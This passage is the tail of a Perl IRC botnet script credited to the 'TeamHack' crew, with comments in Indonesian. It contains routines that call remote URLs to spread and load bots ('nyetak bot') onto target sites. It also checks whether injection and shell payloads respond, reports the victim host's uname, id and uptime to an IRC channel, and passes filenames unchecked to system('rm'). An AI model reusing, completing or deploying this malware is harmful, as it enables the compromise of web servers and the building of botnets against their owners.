  1156. ##[ NYETAK BOT PING ]##
  1157. sub gae_botc {
  1158. my ($chan,$nick,$situs) = @_;
  1159. my ($q1,$q2,$q3) = (bukasitus($situs.$botping."?"),bukasitus($situs.$botping."?"),bukasitus($situs.$botping."?"));
  1160. irc_msg($dbgchan,$colz{1}." 1Proses Nyetak Bot PING loading.. ");
  1161. }
  1162. ##[ NYETAK BOT GORONTALO ]##
  1163. sub gae_botm {
  1164. my ($chan,$nick,$situs) = @_;
  1165. my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$spread."?"),bukasitus($situs.$spreadon."?"),bukasitus($situs.$spread."?"),bukasitus($situs.$spreadon."?"));
  1166. irc_msg($dbgchan,$colz{1}."Prosesing Nyetak Bot Loading... ");
  1167. }
  1168. ##[ ENTER LINK ]##
  1169. sub entered {
  1170. my ($chan,$nick,$situs) = @_;
  1171. my ($q1,$q2) = (bukasitus($situs."??"),bukasitus($situs."??"));
  1172. irc_msg($dbgchan,$colz{1}."ENTER LINK Please Wait... ");
  1173. }
  1174. ##[ Gae BOT scan ]##
  1175. sub gaescan {
  1176. my ($chan,$nick,$situs) = @_;
  1177. my $q1 = (bukasitus($situs.$botscan."?"));
  1178. irc_msg($dbgchan,$colz{1}." 12PROSES LOAD BOT scan Please Wait... ");
  1179. }
  1180. ##[ Gae BOT EDAN ]##
  1181. sub gaeruwet {
  1182. my ($chan,$nick,$situs) = @_;
  1183. my $q1 = (bukasitus($situs.$botedan."?"));
  1184. irc_msg($dbgchan,$colz{1}." 4PROSES LOAD BOT EDAN Please Wait... ");
  1185. }
  1186. ##[ CEK RESPON ]##
  1187. sub cek_respon {
  1188. my $chan = $_[0];
  1189. my ($q1,$q2,$q3) = (bukasitus($zfxid),bukasitus($zfxid2),bukasitus($fx29sh));
  1190. my ($rid,$rid2,$rsh,$stat);
  1191. if ( $q1 =~ /ZFxID/ ) { $rid = " 12OK "; $stat = 1; } else { $rid = " 4SAKIT! "; $stat = 0; }
  1192. if ( $q2 =~ /ZFxID2/ ) { $rid2 = " 6OK "; $stat += 1; } else { $rid2 = " 4SAKIT! "; $stat += 0; }
  1193. if ( $q3 =~ /TeamHack/ ) { $rsh = " 8OK "; } else { $rsh = " 4SAKIT! "; }
  1194. irc_msg($chan,$colz{1}."CaMaChO1: $rid 9CaMaChO2: $rid2 7InJeCTioNs: $rsh".$colz{2});
  1195. return $stat;
  1196. }
  1197.  
  1198. ##[ CEK DORK ]##
  1199. sub cek_dork {
  1200. my $dork = $_[0];
  1201. foreach my $d (@baddorkz) { if ($dork =~ /$d/) { return 1; } }
  1202. return 0;
  1203. }
  1204.  
  1205. ##[ CEK BUG ]##
  1206. sub cek_bug {
  1207. my $bug = $_[0];
  1208. foreach my $b (@badbugz) { if ($bug =~ /$b/) { return 1; } }
  1209. return 0;
  1210. }
  1211.  
  1212. ##[ RUTIN PENANGANAN FILE ]##
  1213. sub f_hapus { my $file = $_[0]; system("rm $file"); }
  1214. sub f_simpan {
  1215. my ($nf,$hc) = @_;
  1216. my $fh;
  1217. open( $fh, ">>", $nf );
  1218. my @slink = lnk_sub($hc);
  1219. foreach my $s (@slink) { print $fh "$s\n"; }
  1220. close $fh;
  1221. }
  1222. sub f_simpan2 {
  1223. my ($nf,$isi) = @_;
  1224. my $fh;
  1225. open( $fh, ">", $nf ); print $fh "$isi\n"; close $fh;
  1226. }
  1227. sub f_simpan2b {
  1228. my ($nf,$isi) = @_;
  1229. my $fh;
  1230. open( $fh, ">>", $nf ); print $fh "$isi\n"; close $fh;
  1231. }
  1232.  
  1233. ##[ HTTP QUERY ]##
  1234. sub bukasitus {
  1235. my $url = $_[0];
  1236. my $request = HTTP::Request->new(GET => $url);
  1237. my $ua = LWP::UserAgent->new;
  1238. $ua->timeout($conf{timeout});
  1239. $ua->agent('Mozilla/5.0');
  1240. my $response = $ua->request($request);
  1241. if ($response->is_success) { return $response->content; }
  1242. else { return $response->status_line; }
  1243. }
  1244. sub bukasitus2 {
  1245. my $url = $_[0];
  1246. my $ua = LWP::UserAgent->new;
  1247. $ua->timeout($conf{timeout});
  1248. $ua->agent('Mozilla/5.0');
  1249. my $response = $ua->get($url);
  1250. if ($response->is_success) { return $response->content; }
  1251. else { return $response->status_line; }
  1252. }
  1253. sub bukasitus3 {
  1254. my $url = $_[0];
  1255. my $host = $url;
  1256. my $query = $url;
  1257. my $isi; my $kirim;
  1258. my $uagent = "Mozilla/5.0";
  1259. $host =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1260. $query =~ s/$host//;
  1261. eval {
  1262. my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return;
  1263. $kirim = "GET ".$query." HTTP/1.1\r\nHost: ".$host."\r\nAccept: */*\r\nUser-Agent: ".$uagent."\r\n\r\n";
  1264. print $sock $kirim;
  1265. my @r = <$sock>;
  1266. $isi = "@r";
  1267. close($sock);
  1268. };
  1269. return $isi;
  1270. }
  1271.  
  1272.  
  1273. sub SiteDomains {
  1274. my @dom = ("com","net","org","uk",".kr","ru","it","fr","cz","com.ua","cn","ca","nl","hu","tv","li","com.au","de",".my","co.id");
  1275. }
  1276.  
  1277. ##[ ENCODE/DECODE ]##
  1278. sub htmltourl { my $str = $_[0]; $str =~ s/&amp;/&/g; return $str; }
  1279. sub urlen {
  1280. my $str = $_[0];
  1281. #$str =~ s/\+/\%2B/g;
  1282. $str =~ s/ /\+/g;
  1283. $str =~ s/@/\%40/g;
  1284. $str =~ s/\//\%2F/g;
  1285. $str =~ s/&/\%26/g;
  1286. $str =~ s/\"/\%22/g;
  1287. $str =~ s/,/\%2C/g;
  1288. $str =~ s/\\/\%5C/g;
  1289. $str =~ s/:/\%3A/g;
  1290. $str =~ s/\[/\%5B/g;
  1291. $str =~ s/\]/\%5D/g;
  1292. $str =~ s/\?/\%3F/g;
  1293. $str =~ s/\=/\%3D/g;
  1294. $str =~ s/\|/\%7C/g;
  1295. return $str;
  1296. }
  1297. sub urlde {
  1298. my $str = $_[0];
  1299. $str =~ s/\+/ /g;
  1300. $str =~ s/\%2B/\+/g;
  1301. $str =~ s/\%40/@/g;
  1302. $str =~ s/\%2E/\./g;
  1303. $str =~ s/\%2F/\//g;
  1304. $str =~ s/\%26/&/g;
  1305. $str =~ s/\%22/\"/g;
  1306. $str =~ s/\%2C/,/g;
  1307. $str =~ s/\%5C/\\/g;
  1308. $str =~ s/\%3A/:/g;
  1309. $str =~ s/\%5[B|b]/\[/g;
  1310. $str =~ s/\%5[D|d]/\]/g;
  1311. $str =~ s/\%3F/\?/g;
  1312. $str =~ s/\%3D/\=/g;
  1313. $str =~ s/\%7C/\|/g;
  1314. return $str;
  1315. }
  1316. sub cryptz { return crypt($_[0],"teamhack"); }
  1317.  
  1318. ##[ TRIMMER CRLF ]##
  1319. sub trimrn {
  1320. my $str = $_[0];
  1321. if (!$str) { return ""; }
  1322. $str =~ s/\r// if ($str);
  1323. $str =~ s/\n//;
  1324. return $str;
  1325. }
  1326.  
  1327. ##[ INFO BOT ]##
  1328. sub bot_info {
  1329. my $chan = $_[0];
  1330. my $hlogo = " 0 [ i ] 9 ";
  1331. my $uname = `uname -a`;
  1332. my $uid = `id`;
  1333. my $uptime = `uptime`;
  1334. my @info = (
  1335. $hlogo." 4«®¤ 9[ 0T 4E 0A 4M 0H 4A 0C 4K 12R 2F 12I 4S 0c 4a 0N 4N 0e 4R 9] 4¤®» ",
  1336. $hlogo."Written under 0ActivePerl MoDiFiCaTiOn 9by 0rEDhACK a.k.a RedHackeR (tEAmHaCk CrEw Community) ",
  1337. $hlogo."Uname: 0 $uname ",
  1338. $hlogo."Uid: 0 $uid ",
  1339. $hlogo."Uptime: 0 $uptime ",
  1340. );
  1341. foreach my $m(@info) { irc_msg($chan,$m); }
  1342. }
  1343.  
  1344. ##[ CUSTOM MESSAGE ]##
  1345. sub msge { my ($chan,$se,$res) = @_; irc_msg($chan," ".$se." ".$res." "); }
  1346. sub msgi { my ($chan,$judul,$info) = @_; irc_msg($chan," [$judul] $info "); }
  1347. sub msgn { my ($chan,$se,$nxurl) = @_; irc_msg($chan," ".$se." ".$nxurl." "); }
  1348. sub msgr { my ($chan,$se,$totr,$clr) = @_; irc_msg($chan," ".$se." ".$totr." ".$clr." "); }
  1349. sub msgt { my ($chan,$se,$res) = @_; irc_msg($chan," ".$se." ".$res." "); }
  1350. sub ntci { my ($chan,$judul,$info) = @_; irc_ntc($chan," [$judul] $info "); }
  1351.  
  1352. ##[ PERINTAH RAW IRC ]##
  1353. sub irc_raw { my $data = $_[0]; print $sock "$data\r\n"; }
  1354. sub irc_nick { my $nick = $_[0]; irc_raw("NICK $nick"); }
  1355. sub irc_user { my $ident = $_[0]; irc_raw("USER $ident localhost * : 6 $versi"); }
  1356. sub irc_msg { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }
  1357. sub irc_act { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :ACTION $psn"); }
  1358. sub irc_ntc { my ($to,$psn) = @_; irc_raw("NOTICE $to :$psn"); }
  1359. sub irc_join { my $to = $_[0]; irc_raw("JOIN $to"); }
  1360. sub irc_part { my $to = $_[0]; irc_raw("PART $to"); }
  1361. sub irc_quit { my $psn = $_[0]; irc_raw("QUIT :$psn"); exit; }
  1362.  
  1363. ##############################
  1364. ##[ TeamHack Community ]##
  1365. ##############################